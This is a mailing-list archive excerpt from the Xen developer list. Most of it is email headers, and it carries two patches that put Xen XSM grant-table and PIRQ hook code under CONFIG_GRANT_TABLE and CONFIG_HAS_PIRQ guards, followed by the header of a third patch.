         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=k3yu0d63FvfqhO+L+MSLfqlMqJJ82QjRHS/utwxkEoc=;
        b=gBzykbyM2rUsFzN7h+MH11G1RFskQDq0kRFVUzMPVXqNj3eXBksozXh5Ejj0tES39d
         e8JfiiSkemhvhDQ6eH8Ie8zwqnq6XbgPngg30W3fgsVA940ZnzR5M6oHelksk4SJ/rDN
         kxGrSs0DjcNbO5p8GJCVY444Xa9/YiAaOMW/Qrm+C99COESkcJ0P/1l2A4Ol64UMoiwQ
         rQTj3kf70HxM5KhOQMi97EcqyLDDLPCuifoB2usnPX/dZ+5wNb1U7ThxYA2zpFmqggwq
         OpZ+//RuT87LuVFCxsDnMgvWCNtJI3zjt75hwvY6h4SFAhc/rh0V1fufaC6GpsRpAMhd
         W1lA==
X-Gm-Message-State: AOJu0YyGXY5t6nsIvEcUFwPHfqR+uomTCUJatWLA8JeLmvBZz1wWHqOZ
	dv1EMZI5kViky6t+FEY6kZyATMqGma8gUw1PT23gj5wzGoss2fVADAE2bl8h2s9qDZRguCQWJA1
	+B9jmSQ==
X-Gm-Gg: AR+sD10o9ZQFosgnXVSd6r4qXuMsbQdTcgF3Y4IU2kLjbmvWSd4Ex+79LtF7D9ndoV7
	/b7RjMicSND5KLSErWtmhLa8wixPawQZii94at6AemZPm028v90G6woRglkdxorvgPyU8FZZbdp
	gvOkfmvLtLauDSDRiXRpMdW8c/EthfLf3Qf3qdLbJs16G8zri1odEtUDAFSLEGcYOEoLUr2s/Nv
	njLSTJc7c+BmD8WaIj2GkvjJQgT2zIKjw2RWzbdB/mJim7vqyNySylSAjUPzIas6afBIrK/dsiu
	x/7vANbiwqv+g/GsvrNeOHpaS0UR4D0GmgRQ2BrsCqIC5kAYCwx+PrPfAu/zwTAd5750G4Butxx
	ed9xmfZOtOxXVt9GtKGNNc6+p0LrIFh1EzW0jAF9CPwEnDCjQ4G+LCaeG2P2TYz4GpE3shgC5Mx
	5YDHPQYpeGKSpxwbQvbSl9oF3bh9xhMVBSOka+/Kjt4EP69W7f482RwiYzqSycJc+XxF0rdsPE4
	xEC
X-Received: by 2002:a05:600c:4fc7:b0:495:5dcc:52ae with SMTP id 5b1f17b1804b1-496c6415049mr32812095e9.3.1785244446101;
        Tue, 28 Jul 2026 06:14:06 -0700 (PDT)
Message-ID: <8e81ded4-7855-4c08-b673-ffb6124888c7@suse.com>
Date: Tue, 28 Jul 2026 15:14:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 02/24] XSM: make .grant_*() hooks dependent upon GRANT_TABLE=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785244446-AB2DC9EA-04A6C6D0/0/0
X-purgate-type: clean
X-purgate-size: 3053

They're unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -191,6 +191,8 @@ static XSM_INLINE void cf_check xsm_free
     return;
 }
 
+#ifdef CONFIG_GRANT_TABLE
+
 static XSM_INLINE int cf_check xsm_grant_mapref(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2, uint32_t flags)
 {
@@ -233,6 +235,8 @@ static XSM_INLINE int cf_check xsm_grant
     return xsm_default_action(action, d1, d2);
 }
 
+#endif /* CONFIG_GRANT_TABLE */
+
 static XSM_INLINE int cf_check xsm_memory_exchange(
     XSM_DEFAULT_ARG struct domain *d)
 {
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -35,12 +35,14 @@ XSM_HOOK(int, evtchn_send, struct domain
 XSM_HOOK(int, evtchn_status, struct domain *, struct evtchn *)
 XSM_HOOK(int, evtchn_reset, struct domain *, struct domain *)
 
+#ifdef CONFIG_GRANT_TABLE
 XSM_HOOK(int, grant_mapref, struct domain *, struct domain *, uint32_t)
 XSM_HOOK(int, grant_unmapref, struct domain *, struct domain *)
 XSM_HOOK(int, grant_setup, struct domain *, struct domain *)
 XSM_HOOK(int, grant_transfer, struct domain *, struct domain *)
 XSM_HOOK(int, grant_copy, struct domain *, struct domain *)
 XSM_HOOK(int, grant_query_size, struct domain *, struct domain *)
+#endif
 
 XSM_HOOK(int, init_hardware_domain, struct domain *)
 
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -434,6 +434,8 @@ static int cf_check flask_init_hardware_
     return current_has_perm(d, SECCLASS_DOMAIN2, DOMAIN2__CREATE_HARDWARE_DOMAIN);
 }
 
+#ifdef CONFIG_GRANT_TABLE
+
 static int cf_check flask_grant_mapref(
     struct domain *d1, struct domain *d2, uint32_t flags)
 {
@@ -470,6 +472,8 @@ static int cf_check flask_grant_query_si
     return domain_has_perm(d1, d2, SECCLASS_GRANT, GRANT__QUERY);
 }
 
+#endif /* CONFIG_GRANT_TABLE */
+
 static int cf_check flask_get_pod_target(struct domain *d)
 {
     return current_has_perm(d, SECCLASS_DOMAIN, DOMAIN__GETPODTARGET);
--- a/xen/xsm/silo.c
+++ b/xen/xsm/silo.c
@@ -60,6 +60,8 @@ static int cf_check silo_evtchn_interdom
     return -EPERM;
 }
 
+#ifdef CONFIG_GRANT_TABLE
+
 static int cf_check silo_grant_mapref(
     struct domain *d1, struct domain *d2, uint32_t flags)
 {
@@ -82,6 +84,8 @@ static int cf_check silo_grant_copy(stru
     return -EPERM;
 }
 
+#endif /* CONFIG_GRANT_TABLE */
+
 #ifdef CONFIG_ARGO
 
 static int cf_check silo_argo_register_single_source(
@@ -105,9 +109,11 @@ static int cf_check silo_argo_send(
 static const struct xsm_ops __initconst_cf_clobber silo_xsm_ops = {
     .evtchn_unbound = silo_evtchn_unbound,
     .evtchn_interdomain = silo_evtchn_interdomain,
+#ifdef CONFIG_GRANT_TABLE
     .grant_mapref = silo_grant_mapref,
     .grant_transfer = silo_grant_transfer,
     .grant_copy = silo_grant_copy,
+#endif
 #ifdef CONFIG_ARGO
     .argo_register_single_source = silo_argo_register_single_source,
     .argo_send = silo_argo_send,



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:14:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:14:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374029.1620982 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohdf-0003CN-Qq; Tue, 28 Jul 2026 13:14:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374029.1620982; Tue, 28 Jul 2026 13:14:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohdf-0003CG-OG; Tue, 28 Jul 2026 13:14:31 +0000
Received: by outflank-mailman (input) for mailman id 1374029;
 Tue, 28 Jul 2026 13:14:31 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohde-0003Bv-Rp
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:14:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohde-00EpLL-8b
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:14:30 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab31-5cb7-0a2a0a5109dd-0a2a450780d0-20
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:14:29 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab35-b4ea-0a2a45070019-d155802bd440-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:14:29 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-49548e01d02so19404045e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:14:29 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45e92eesm82795335e9.15.2026.07.28.06.14.28
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:14:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244469; x=1785849269; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=H2ukPeiGxCPKUyvMdnH6IcL0Qr78MmoDQ6R7C+zhDn4=;
        b=SSPz4bgbBk2mnM5KGz8vRgJ1uYl+hr6jCvknA0ilFTy4EGNa5ZrsFZI24+6f/jMHzi
         6VTvy5lJtTBzHzE0qp58njZeiyTa6p/+gWFEK+QRPgb4ErT44lE5XZnkyPo0FsSf9VNE
         AqIV7/7mlkUfCUVbTLbpAA+BQyB0EiQXSjSuan4eK+bcwUvWnxumKSGZgKKkAAOcJQL1
         HmeM5zOD3VxU0XRk1JXf3J4qbGxMFlg8TxyVa+AIfOi4qf0O+p8IFbRNFECdeapKpTqJ
         Y4thlM8TBlPFUEwR3xwAcQe2qg2lul+Kw6BRKLJDCEjn7jPx3xaG7MOfn9GpFzNHF8wK
         hxBw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244469; x=1785849269;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=H2ukPeiGxCPKUyvMdnH6IcL0Qr78MmoDQ6R7C+zhDn4=;
        b=L6nuWUCrC0ibXKNC00YTlwzQv9W3/narNgBYcHWRRVfmnAJAZVps4UOzmk8+I+ZmUw
         kqCeyCOXON1/v2cuO3UO7bP1jR0JPfgUgWc6t3cKTD2btsCQJPjIxj/wAv0mm65s5FKa
         KWac/loKRhPzei7q+1iVyV0JG1biTZPxBPxVijCwDusBKGOjraGYIaais/NIEHtJcwPy
         fvrz0QjedRCwYGKWljHy04xDuTxyk+dyUmGctSZbbPWn3hOUotFUkzUOX/Bg9muvhP2w
         nI21y8NSYzrUbgepnDjGvPxV1eE5xiAZzFv6zuMOv2sqSCQVlXu7V5CN5rhDgPRbpuuy
         z2ZQ==
X-Gm-Message-State: AOJu0YzEy7dKnQpFXd1+a3uel/IPA82Q5oQFn7sE9B3yqlWqAI3sdCIX
	uXddjXyb5YL7QsgerIp2Vgf05uzZQFb4CCvnW/0qiBoD5OOpFGONmyzv6ICXAQqPSUpUrMgSnIP
	RcpG5Cw==
X-Gm-Gg: AR+sD11AnG+Ji5+1GzhtxIMc0T2ncncPK+oeUBC6r6raV/3IwXN29Q7fdI7b4ukfBUL
	rwUHqzBDg8XKDC7urCPI6oBr+NA5JTYnr3/xbvIfjXujzsf40znTISx59jZ1Rzgs+E4Jt09lysd
	HyzeBiB3KZXkXL0IS0Jzi41L9qcsnkzxAlE3lv9NMjVsXEMNXpjClZetjnHPHo/6OM5/WEirR3G
	j85e+xO8WFyDCSyGsJT64hRqQuXZswU456XrN56eAd9c3Gr8yuRUyJOs5yC/k6FqZ/1mfkiiB9M
	i2EGeIy9u9OxmBzoJIrJjKccACQ8AeI27vIZgHlecdNzV7533wWnbVUXXQ5MVXo9vJs3LxstiE0
	fY5wTm8HUa4O84+PVn16F1Ht+twE5cQCEvnOpnyrJR1OZmNijhaDXZi82vg0wXCkyv55H1vzUTY
	ZuHrVHmTEZElJBichOdK/TYlo0Cy622dJs4dzSwkrKTKlCY6ZFz0amfB853mDCKaeQrw==
X-Received: by 2002:a05:600c:1f85:b0:493:bacb:1341 with SMTP id 5b1f17b1804b1-496c6412ff2mr26717435e9.4.1785244469259;
        Tue, 28 Jul 2026 06:14:29 -0700 (PDT)
Message-ID: <9a0a1494-1357-43d2-ba6b-532fc01b703e@suse.com>
Date: Tue, 28 Jul 2026 15:14:28 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 03/24] XSM: make .{,un}map_domain_pirq() hooks dependent upon
 HAS_PIRQ=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9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Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785244469-342F4AE4-7C2EF308/0/0
X-purgate-type: clean
X-purgate-size: 2944

They're unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -450,6 +450,8 @@ static XSM_INLINE char *cf_check xsm_sho
     return NULL;
 }
 
+#ifdef CONFIG_HAS_PIRQ
+
 static XSM_INLINE int cf_check xsm_map_domain_pirq(
     XSM_DEFAULT_ARG struct domain *d)
 {
@@ -457,17 +459,19 @@ static XSM_INLINE int cf_check xsm_map_d
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_map_domain_irq(
-    XSM_DEFAULT_ARG struct domain *d, int irq, const void *data)
+static XSM_INLINE int cf_check xsm_unmap_domain_pirq(
+    XSM_DEFAULT_ARG struct domain *d)
 {
-    XSM_ASSERT_ACTION(XSM_HOOK);
+    XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_unmap_domain_pirq(
-    XSM_DEFAULT_ARG struct domain *d)
+#endif /* CONFIG_HAS_PIRQ */
+
+static XSM_INLINE int cf_check xsm_map_domain_irq(
+    XSM_DEFAULT_ARG struct domain *d, int irq, const void *data)
 {
-    XSM_ASSERT_ACTION(XSM_DM_PRIV);
+    XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
 }
 
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -65,9 +65,12 @@ XSM_HOOK(int, kexec)
 
 XSM_HOOK(int, schedop_shutdown, struct domain *, struct domain *)
 
+#ifdef CONFIG_HAS_PIRQ
 XSM_HOOK(int, map_domain_pirq, struct domain *)
-XSM_HOOK(int, map_domain_irq, struct domain *, int, const void *)
 XSM_HOOK(int, unmap_domain_pirq, struct domain *)
+#endif
+
+XSM_HOOK(int, map_domain_irq, struct domain *, int, const void *)
 XSM_HOOK(int, unmap_domain_irq, struct domain *, int, const void *)
 XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
 XSM_HOOK(int, unbind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1018,11 +1018,20 @@ static char *cf_check flask_show_irq_sid
     return ctx;
 }
 
+#ifdef CONFIG_HAS_PIRQ
+
 static int cf_check flask_map_domain_pirq(struct domain *d)
 {
     return current_has_perm(d, SECCLASS_RESOURCE, RESOURCE__ADD);
 }
 
+static int cf_check flask_unmap_domain_pirq(struct domain *d)
+{
+    return current_has_perm(d, SECCLASS_RESOURCE, RESOURCE__REMOVE);
+}
+
+#endif /* CONFIG_HAS_PIRQ */
+
 static int flask_map_domain_msi (
     struct domain *d, int irq, const void *data, uint32_t *sid,
     struct avc_audit_data *ad)
@@ -1085,11 +1094,6 @@ static int cf_check flask_map_domain_irq
     return rc;
 }
 
-static int cf_check flask_unmap_domain_pirq(struct domain *d)
-{
-    return current_has_perm(d, SECCLASS_RESOURCE, RESOURCE__REMOVE);
-}
-
 static int flask_unmap_domain_msi (
     struct domain *d, int irq, const void *data, uint32_t *sid,
     struct avc_audit_data *ad)



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:14:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:14:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374036.1620992 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohdw-0003da-2b; Tue, 28 Jul 2026 13:14:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374036.1620992; Tue, 28 Jul 2026 13:14:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohdv-0003dT-Vu; Tue, 28 Jul 2026 13:14:47 +0000
Received: by outflank-mailman (input) for mailman id 1374036;
 Tue, 28 Jul 2026 13:14:46 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohdu-0003bp-CM
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:14:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohdt-004cTC-Le
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:14:45 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab40-e002-0a2a0a5209dd-0a2a4507cbd6-22
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:14:45 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab45-b4ea-0a2a45070019-d1558033edb9-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:14:45 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-49553515a8bso47501085e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:14:45 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bd77a9sm55197678f8f.14.2026.07.28.06.14.44
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:14:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244485; x=1785849285; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=zvHFuBowtfxuVEr3XoDvree7aX44NU2K8E9z5xVIjrk=;
        b=JjKk0XQQI7RT5uA8REnYeJA4zo8eleJzpW1Ps5wCxxngvvRZ5Xj6R8cUVPo7swuo3p
         igzfIhyOuDI1T9BymTfboOBIdibKeOPTS/Dz0eVCYQgGyjUUxNWEjKXDVC+cQWgIZi7s
         BPPrCxHpTAi1RI5clTm9FMWm5Ci5o2X60zIq4UuZRB34pmr87gRtHyAJe7Ufm+hXd2KQ
         UWOjunBZ9OwW87sOz1q9C490pcqLHwcxOhL+1yDCraYvKM+3KGzq2X2wtBhsEeDn/435
         AGwh/uBLMJaRbQXYJQ1oME2eYZN+nBDvUwnJNz7typ3d76rBzfVMXp9RLcPxGy0onvrh
         zWXQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244485; x=1785849285;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=zvHFuBowtfxuVEr3XoDvree7aX44NU2K8E9z5xVIjrk=;
        b=bsloJlA07c8Xghv3ALm8fOTrPKaxUSkrDrAlEAiemdPqSG5Mzqz4wnTTUNoLXTH+sx
         SdCR933UL4kwzl35tlqy09WfbJcEhTMsIYFvclC5U+88MNq0hSWZKmaBUYdiGQF92poz
         R+nmjL1qnifNGhKU0CSGR3ZMiMUfOJiEgJ2mdW2z1JMvkzLeGRvLEgsZEKFe7jRCwej0
         Hhm1M0PvUYXsTWvwKmJ2NMhsoJBIdrBaQzd2EpVXULvbRb9Rcg8FtSS50HXurGmydHZv
         mcAcnC6J7zRoz1C3coe7hQPDWAgXlNlSh40qvmpAySVMtI+xswJtJHO0VEgosRM7sBUx
         jlfQ==
X-Gm-Message-State: AOJu0YwCA7DcZcedFOyVFYU85cTgIqyceawFFPSyD0qbrhPixRWULkEe
	R6MfoH1xYCb2iN4aNfMub9Ho0mRC1CM9ncix7WFkhT2oAD/dSbr2aElSMf7KHhk6gqSADSrl6mj
	fLQpXCg==
X-Gm-Gg: AR+sD114vyOaRHIm0uWSQIoY+VtHw+TP+BZrZhlpLcrQEveC0bb/8/ifpOcQZXjwY42
	K+73s2tBcxtBOhdFZDRkdEPcUzQTHZhTl3Rr5AXRXmsN1hpPNzfeYL55xEy08a49/p6QoyYkjzS
	nCd+nTQr5CEvcJ7A0sSmRZof2EjuRlrg8UPpUUkhfvdWKiDYWbjExcNIMHcYGYq/LLZer1DakvW
	QualRl/qyZaqY2Z90p+QBjvfsH9l7xOrr//HTbiuu2QK7qye1DXzfIRXOYhoexADaR2B7zNzpBl
	05yLKF5+5ikWC6vc0NmX0d6O8z/MVC/T53tRwiIOifEWwhFA7pop99tylKsiizgSZiVjYS83vj2
	NgddWr8Vr9sAs2rryZF3TKymULBDknUnt8IOhj21oEAYxcMRGY/E6YO86bHigGdEcdSqNk32DzB
	hGZrcwKUjEtYfaLwMMl5p6ptC89lF0zDFCRxzNFVJ+nxKM8mYV8hMkMbXOi5zb0YYXoQ==
X-Received: by 2002:a05:600c:1395:b0:495:7538:d4ea with SMTP id 5b1f17b1804b1-496c60b1896mr25373525e9.0.1785244484996;
        Tue, 28 Jul 2026 06:14:44 -0700 (PDT)
Message-ID: <03267655-2c62-459a-abef-6a0a85a9fa44@suse.com>
Date: Tue, 28 Jul 2026 15:14:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 04/24] XSM: make PCI hooks dependent upon HAS_PCI=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
